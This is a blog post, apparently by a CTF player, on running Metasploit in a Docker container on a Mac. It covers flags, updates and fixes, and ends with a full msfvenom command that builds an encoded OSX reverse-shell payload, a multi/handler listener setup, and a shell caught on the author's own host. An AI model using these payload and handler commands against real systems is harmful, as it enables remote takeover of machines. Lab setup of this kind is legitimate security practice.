During a CTF I competed in recently, I found the need to create a Metasploit Docker container.
The main benefit of this was not having to deal with NAT issues to my virtual machine, but I will touch on this more later.
First of all, I installed Docker on my Mac.
Once I completed the installation and configuration (including any proxy settings), my container was up and running.
MACINTOP:Documents doyler$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES MACINTOP:Documents doyler$
Metasploit Docker Container Image
With Docker installed and running, it was time to find an image to use.
I settled on the remnux image, since it seemed to have everything that I would need.
Next, I ran the provided command to set up a local container. The descriptions for the flags are as follows:
- --rm = remove the container if it already exists
- -it = Keep STDIN open even if not attached and attach a pseudo-tty (open an interactive shell into the container)
- -p 443:443 = publish the container's port 443 to my host system. This will allow catching reverse shells with my host IP in my container
- -v ~/.msf4:/root/.msf4 = this mounts ~/.msf4 on my host system as /root/.msf4 on the container (allowing for sharing or uploading of files)
- -v /tmp/msf:/tmp/data = see above
MACINTOP:Documents doyler$ sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit Password: Unable to find image 'remnux/metasploit:latest' locally latest: Pulling from remnux/metasploit 04cf3f0e25b6: Pull complete d5b45e963ba0: Pull complete a5c78fda4e14: Pull complete 193d4969ca79: Pull complete d709551f9630: Pull complete 1f25a1bb3176: Pull complete 32cbc8e77c38: Pull complete 9707c72ed4d0: Pull complete 592bbe533650: Pull complete 8d25bbc5564d: Pull complete bee7a92a8ebe: Pull complete 58ba86fae4eb: Pull complete 91d9c75fcf28: Pull complete 220d3151e9ca: Pull complete 5bdfaa013ef3: Pull complete 7a09535bcd76: Pull complete e45f0be4a46e: Pull complete 06bd944ec068: Pull complete ffd22526b3f0: Pull complete b02c2a07c2a4: Pull complete Digest: sha256:29e449ddc3ff026bba2030d65331530834b6ba7718d625c76e416c7457c5be7c Status: Downloaded newer image for remnux/metasploit:latest ruby-2.3.3 is not installed. To install do: 'rvm install ruby-2.3.3' * Starting PostgreSQL 9.3 database server [ OK ] [*] [*] Attempting to update the Metasploit Framework... [*] [*] Checking for updates via git [*] Note: Updating from bleeding edge fatal: 'upstream' does not appear to be a git repository fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. [*] Attempting to add remote 'upstream' to your local git repository. [*] Added remote 'upstream' to your local git repository. HEAD is now at f0dca7ab Land #7692, print_error for error_sql_injection Already on 'master' Your branch is up-to-date with 'origin/master'. id fatal: unable to connect to github.com: github.com[0: 220.127.116.11]: errno=Connection refused github.com[1: 18.104.22.168]: errno=Connection refused merge: upstream/master - not something we can merge [*] Updating gems... Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as root will break this application for all non-root users on this machine. Resolving dependencies... Using rake 12.0.0 < ... snip ... > Using metasploit-framework 4.13.7 from source at `.` Bundle complete! 14 Gemfile dependencies, 119 gems now installed. Use `bundle show [gemname]` to see where a bundled gem is installed. root@4f0e3051f5d7:/tmp/data#
Updates and Configuration
Once the container was setup, I needed to update a few things and configurations.
The first thing I did was update Ruby, to prevent any other weird errors or warnings from occurring.
root@4f0e3051f5d7:/tmp/data# rvm install ruby-2.3.3 Warning, new version of rvm available '1.28.0', you are using older version '1.27.0'. You can disable this warning with: echo rvm_autoupdate_flag=0 >> ~/.rvmrc < ... snip ... > Install of ruby-2.3.3 - #complete Ruby was built without documentation, to build it run: rvm docs generate-ri
After I updated Ruby, I had to modify my git config. There was an issue with my proxy server, but updating the git URLs from git:// to https:// fixed this.
With that in place, I was able to properly run msfupdate.
root@4f0e3051f5d7:/tmp/data# git config --global url."https://".insteadOf git:// root@4f0e3051f5d7:/tmp/data# msfupdate [*] [*] Attempting to update the Metasploit Framework... [*] [*] Checking for updates via git [*] Note: Updating from bleeding edge HEAD is now at f0dca7ab Land #7692, print_error for error_sql_injection Already on 'master' Your branch is up-to-date with 'origin/master'. remote: Counting objects: 3767, done. < ... snip ... > Using metasploit-framework 4.13.10 from source at `.` Bundle complete! 14 Gemfile dependencies, 119 gems now installed. Use `bundle show [gemname]` to see where a bundled gem is installed. root@4f0e3051f5d7:/tmp/data#
After everything was setup and updated, it was time to test msfconsole and the port forwarding.
First, I generated an OSX reverse shell that I could execute on my host system. Then, I setup a handler on port 443 (notice the IP error because that isn't the IP of the container) to hopefully catch the shell.
Finally, with those in place, I transferred the payload to the shared directory, and executed it on my host system. Everything worked perfectly, and I had a reverse shell to my host OS!
root@4f0e3051f5d7:/tmp/data# msfconsole =[ metasploit v4.13.10-dev-7585999 ] + -- --=[ 1610 exploits - 914 auxiliary - 279 post ] + -- --=[ 471 payloads - 39 encoders - 9 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > msfvenom -a x86 --platform OSX -p osx/x86/shell_reverse_tcp LHOST=10.119.21.167 LPORT=443 -e x86/shikata_ga_nai -b "\x00" -f macho -o /tmp/data/osx_reverse_tcp [*] exec: msfvenom -a x86 --platform OSX -p osx/x86/shell_reverse_tcp LHOST=10.119.21.167 LPORT=443 -e x86/shikata_ga_nai -b "\x00" -f macho -o /tmp/data/osx_reverse_tcp Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 92 (iteration=0) x86/shikata_ga_nai chosen with final size 92 Payload size: 92 bytes Final size of macho file: 20800 bytes Saved as: /tmp/data/osx_reverse_tcp msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD osx/x86/shell_reverse_tcp PAYLOAD => osx/x86/shell_reverse_tcp msf exploit(handler) > set LHOST 10.119.21.167 LHOST => 10.119.21.167 msf exploit(handler) > set LPORT 443 LPORT => 443 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (osx/x86/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.119.21.167 yes The listen address LPORT 443 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run [-] Handler failed to bind to 10.119.21.167:443:- - [*] Started reverse TCP handler on 0.0.0.0:443 [*] Starting the payload handler... [*] Command shell session 1 opened (172.17.0.2:443 -> 172.17.0.1:37618) at 2017-01-04 19:09:22 +0000 id uid=1587206(doyler) gid=20(staff) groups=20(staff),12(everyone),33(_appstore),80(admin),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh) hostname MACINTOP
As a result, this was a fairly easy process, and I definitely recommend setting up a Metasploit Docker container of your own. If you don't need one locally, it could be quite useful on a cloud box for external engagements.